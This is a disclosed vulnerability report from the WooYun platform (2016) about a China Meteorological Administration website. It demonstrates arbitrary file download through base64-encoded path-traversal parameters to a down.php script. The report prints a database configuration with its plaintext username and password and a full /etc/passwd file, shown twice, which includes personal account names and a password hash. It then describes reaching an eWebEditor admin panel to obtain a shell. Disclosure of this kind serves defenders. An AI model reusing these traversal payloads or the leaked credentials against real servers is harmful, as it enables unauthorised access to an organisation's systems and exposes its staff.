当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0169987

漏洞标题:中国气象局某站getshell(同服n站)

相关厂商:中国气象局

漏洞作者: 路人甲

提交时间:2016-01-20 09:06

修复时间:2016-03-06 14:18

公开时间:2016-03-06 14:18

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-20: 细节已通知厂商并且等待厂商处理中
2016-01-22: 厂商已经确认,细节仅向厂商公开
2016-02-01: 细节向核心白帽子及相关领域专家公开
2016-02-11: 细节向普通白帽子公开
2016-02-21: 细节向实习白帽子公开
2016-03-06: 细节向公众公开

简要描述:

rt

详细说明:

目标:http://**.**.**.**
首先,任意文件下载
构造。

http://**.**.**.**/postdoctor/down.php?f=Ly4uLy4uL2NuL2luZGV4LnBocA==
Ly4uLy4uL2NuL2luZGV4LnBocA== --> /../../cn/index.php


找到配置文件

http://**.**.**.**/postdoctor/down.php?f=Ly4uLy4uL2luY2x1ZGVzL2NvbmZpZy5pbmMucGhw


config.inc.php中

$sqlserver = 'localhost';
$sqluser = 'webuser';
$sqlpass = '1234567';
$sqldatabase = 'sti';
$mysqld = mysql_connect($sqlserver,$sqluser,$sqlpass);


/etc/passwd

http://**.**.**.**/postdoctor/down.php?f=Ly4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2Q=


passwd中

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/mega/ftp/ftp/pub/:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www/html:/sbin/nologin
#squid:x:23:23::/var/spool/squid:/sbin/nologin
webalizer:x:67:67:Webalizer:/www/usage:/sbin/nologin
#xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
#htt:x:100:101:IIIMF Htt:/usr/lib/im:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
#named:x:25:25:Named:/var/named:/bin/bash
#ldap:x:55:55:LDAP User:/var/lib/ldap:/bin/false
#temp:x:65530:65530:Remote User:/tmp:/etc/telnet.remote
#webadm:x:49:100::/array:/sbin/nologin
cactiuser:x:516:100::/tmp:/bin/bash
##
## UNKNOWN ACCOUNT close 2012.08.09
#guest:x:518:518::/ftp/guest:/sbin/nologin
##
## FOR TYPHOON FUND
tfjj:x:520:521::/array/ftp/tfjj:/sbin/nologin
##
## FOR LIYONGPING OPERATION
wave:x:519:520::/array/wave/:/sbin/nologin
wave1:x:519:520::/array/wave_ftp/:/sbin/nologin
mvip:x:521:520::/array/wavevip:/sbin/nologin
mhvip:x:521:520::/array/wavevip:/sbin/nologin
vip:x:522:520::/array/wavevip:/sbin/nologin
##
## FOR TYPHOON WEBSITE UPLOAD BEFORE
#uploader:x:523:50::/array/ftp/downloader:/sbin/nologin
#downloader:x:524:50::/array/ftp/downloader:/sbin/nologin
##
## ASSEMBLE FORECAST IN AREA CENTER BEFORE close 2012.08.09
#jhah:x:527:528::/array/ftp/jhyb:/sbin/nologin
#jhjx:x:528:528::/array/ftp/jhyb:/sbin/nologin
#jhsh:x:529:528::/array/ftp/jhyb:/sbin/nologin
#jhzj:MQSX8u3OXu6nA:530:528::/array/ftp/jhyb:/sbin/nologin
#jhsd:x:531:528::/array/ftp/jhyb:/sbin/nologin
#jhjs:x:531:528::/array/ftp/jhyb:/sbin/nologin
#jhfj:x:531:528::/array/ftp/jhyb:/sbin/nologin
##
## FOR HUANGWEI PERSON FTP ACCOUNT close 2012.08.09
huangw:x:525:526::/array/users/huangw:/sbin/nologin
## FOR BAODE PERSON FTP ACCOUNT close 2012.08.09
baode:x:14:50::/mega/ftp/ftp/pub/baode:/sbin/nologin
## FOR YANGQIUZHEN PERSON FTP ACCOUNT close 2012.08.09
#yangqz:x:533:533::/array/ftp/yangqz:/sbin/nologin
## FOR YANGKAI PERSON FTP ACCOUNT close 2012.08.09
#yangk:x:534:100::/array/ftp/yangk:/sbin/nologin
## FOR BAILINA PERSON FTP ACCOUNT close 2012.08.09
#bailn:x:534:100::/array/ftp/bailn:/sbin/nologin
## FOR YUHUI PERSON FTP ACCOUNT
yuhui:x:535:48::/array/ftp/yuhui:/sbin/nologin
## FOR YANGYUHUA PERSON FTP ACCOUNT
yangyh:x:539:539::/home/yangyh:/sbin/nologin
## FOR WANGXF PERSON FTP ACCOUNT
wangxf:x:65534:65534::/array/users/wangxf:/sbin/nologin
## FOR BAOXW PERSON FTP ACCOUNT
baoxw:x:65534:65534::/array/users/baoxw:/sbin/nologin
## FOR TANGJIE PERSON FTP ACCOUNT
tangj:x:1023:99::/array/users/tangj:/sbin/nologin
## FOR TANYAN PERSON FTP ACCOUNT
tany:x:1025:50::/home/tany:/sbin/nologin
##
## FOR GRAPES_TCM PROJECT FTP ACCOUNT
grapestcm:x:1024:1029::/home/grapes_tcm:/sbin/nologin
grapes:x:1026:1029::/home/grapes_tcm:/sbin/nologin
##
##
## WEBSITE UPLOAD PICTURES , NOW NO USED closed 2012.08.09
yuh:x:535:48::/array/pictures/cloud/fcst:/sbin/nologin
#cloud:x:48:48::/array/pictures/cloud/fy2:/sbin/nologin
##
## SYSTEM OF LDM , only for test close 2012.08.09
#ldm:x:536:536::/home/ldm:/bin/bash
##
## FOR TIGGE DATA TRANSLATE , baode apply
tigge:x:538:538::/home/tigge:/sbin/nologin
##
## WEBSITE FOR 973 project
tfs973:x:541:100::/array/**.**.**.**:/sbin/nologin
# UNKNOW ACCOUNT close 2012.08.09
#15TC:x:543:543::/home/15TC:/sbin/nologin
##
# WEBSITE CLOUD IMAGE close 2012.08.09
#yingm:x:544:100::/array/pictures/cloud:/sbin/nologin
#chenpy:x:48:48::/array/pictures/rain/fy2c:/sbin/nologin
##
tlfdp:x:48:48::/array/**.**.**.**:/sbin/nologin
nagios:x:545:546::/usr/local/nagios:/bin/bash
## YINGMING
expertteam:x:1021:1021::/array/vsftpuser/expertteam:/sbin/nologin
#gfsdata:x:1022:1028::/home/gfsdata:/sbin/nologin
#yiny:x:1027:100::/home/yiny:/bin/bash
zhoux:x:1028:50::/mega/ftp/ftp/pub/WMO:/sbin/nologin
#data:x:1029:1031::/mega/data:/sbin/nologin
test1:x:1029:1032::/mega/ftp/ftp/users/test1:/sbin/nologin


发现eweb
下载配置文件,进后台拿shell

http://**.**.**.**/postdoctor/down.php?f=Ly4uLy4uL2V3ZWJlZGl0b3IvcGhwL2NvbmZpZy5waHA=
Ly4uLy4uL2V3ZWJlZGl0b3IvcGhwL2NvbmZpZy5waHA= --> /../../ewebeditor/php/config.php


后台:http://**.**.**.**/ewebeditor/admin/login.php

1.png


2.png

漏洞证明:

1.png


2.png


passwd中

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/mega/ftp/ftp/pub/:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www/html:/sbin/nologin
#squid:x:23:23::/var/spool/squid:/sbin/nologin
webalizer:x:67:67:Webalizer:/www/usage:/sbin/nologin
#xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
#htt:x:100:101:IIIMF Htt:/usr/lib/im:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
#named:x:25:25:Named:/var/named:/bin/bash
#ldap:x:55:55:LDAP User:/var/lib/ldap:/bin/false
#temp:x:65530:65530:Remote User:/tmp:/etc/telnet.remote
#webadm:x:49:100::/array:/sbin/nologin
cactiuser:x:516:100::/tmp:/bin/bash
##
## UNKNOWN ACCOUNT close 2012.08.09
#guest:x:518:518::/ftp/guest:/sbin/nologin
##
## FOR TYPHOON FUND
tfjj:x:520:521::/array/ftp/tfjj:/sbin/nologin
##
## FOR LIYONGPING OPERATION
wave:x:519:520::/array/wave/:/sbin/nologin
wave1:x:519:520::/array/wave_ftp/:/sbin/nologin
mvip:x:521:520::/array/wavevip:/sbin/nologin
mhvip:x:521:520::/array/wavevip:/sbin/nologin
vip:x:522:520::/array/wavevip:/sbin/nologin
##
## FOR TYPHOON WEBSITE UPLOAD BEFORE
#uploader:x:523:50::/array/ftp/downloader:/sbin/nologin
#downloader:x:524:50::/array/ftp/downloader:/sbin/nologin
##
## ASSEMBLE FORECAST IN AREA CENTER BEFORE close 2012.08.09
#jhah:x:527:528::/array/ftp/jhyb:/sbin/nologin
#jhjx:x:528:528::/array/ftp/jhyb:/sbin/nologin
#jhsh:x:529:528::/array/ftp/jhyb:/sbin/nologin
#jhzj:MQSX8u3OXu6nA:530:528::/array/ftp/jhyb:/sbin/nologin
#jhsd:x:531:528::/array/ftp/jhyb:/sbin/nologin
#jhjs:x:531:528::/array/ftp/jhyb:/sbin/nologin
#jhfj:x:531:528::/array/ftp/jhyb:/sbin/nologin
##
## FOR HUANGWEI PERSON FTP ACCOUNT close 2012.08.09
huangw:x:525:526::/array/users/huangw:/sbin/nologin
## FOR BAODE PERSON FTP ACCOUNT close 2012.08.09
baode:x:14:50::/mega/ftp/ftp/pub/baode:/sbin/nologin
## FOR YANGQIUZHEN PERSON FTP ACCOUNT close 2012.08.09
#yangqz:x:533:533::/array/ftp/yangqz:/sbin/nologin
## FOR YANGKAI PERSON FTP ACCOUNT close 2012.08.09
#yangk:x:534:100::/array/ftp/yangk:/sbin/nologin
## FOR BAILINA PERSON FTP ACCOUNT close 2012.08.09
#bailn:x:534:100::/array/ftp/bailn:/sbin/nologin
## FOR YUHUI PERSON FTP ACCOUNT
yuhui:x:535:48::/array/ftp/yuhui:/sbin/nologin
## FOR YANGYUHUA PERSON FTP ACCOUNT
yangyh:x:539:539::/home/yangyh:/sbin/nologin
## FOR WANGXF PERSON FTP ACCOUNT
wangxf:x:65534:65534::/array/users/wangxf:/sbin/nologin
## FOR BAOXW PERSON FTP ACCOUNT
baoxw:x:65534:65534::/array/users/baoxw:/sbin/nologin
## FOR TANGJIE PERSON FTP ACCOUNT
tangj:x:1023:99::/array/users/tangj:/sbin/nologin
## FOR TANYAN PERSON FTP ACCOUNT
tany:x:1025:50::/home/tany:/sbin/nologin
##
## FOR GRAPES_TCM PROJECT FTP ACCOUNT
grapestcm:x:1024:1029::/home/grapes_tcm:/sbin/nologin
grapes:x:1026:1029::/home/grapes_tcm:/sbin/nologin
##
##
## WEBSITE UPLOAD PICTURES , NOW NO USED closed 2012.08.09
yuh:x:535:48::/array/pictures/cloud/fcst:/sbin/nologin
#cloud:x:48:48::/array/pictures/cloud/fy2:/sbin/nologin
##
## SYSTEM OF LDM , only for test close 2012.08.09
#ldm:x:536:536::/home/ldm:/bin/bash
##
## FOR TIGGE DATA TRANSLATE , baode apply
tigge:x:538:538::/home/tigge:/sbin/nologin
##
## WEBSITE FOR 973 project
tfs973:x:541:100::/array/**.**.**.**:/sbin/nologin
# UNKNOW ACCOUNT close 2012.08.09
#15TC:x:543:543::/home/15TC:/sbin/nologin
##
# WEBSITE CLOUD IMAGE close 2012.08.09
#yingm:x:544:100::/array/pictures/cloud:/sbin/nologin
#chenpy:x:48:48::/array/pictures/rain/fy2c:/sbin/nologin
##
tlfdp:x:48:48::/array/**.**.**.**:/sbin/nologin
nagios:x:545:546::/usr/local/nagios:/bin/bash
## YINGMING
expertteam:x:1021:1021::/array/vsftpuser/expertteam:/sbin/nologin
#gfsdata:x:1022:1028::/home/gfsdata:/sbin/nologin
#yiny:x:1027:100::/home/yiny:/bin/bash
zhoux:x:1028:50::/mega/ftp/ftp/pub/WMO:/sbin/nologin
#data:x:1029:1031::/mega/data:/sbin/nologin
test1:x:1029:1032::/mega/ftp/ftp/users/test1:/sbin/nologin

修复方案:

..

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-01-22 11:28

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向国家上级信息安全协调机构上报,由其后续协调网站管理单位处置.

最新状态:

暂无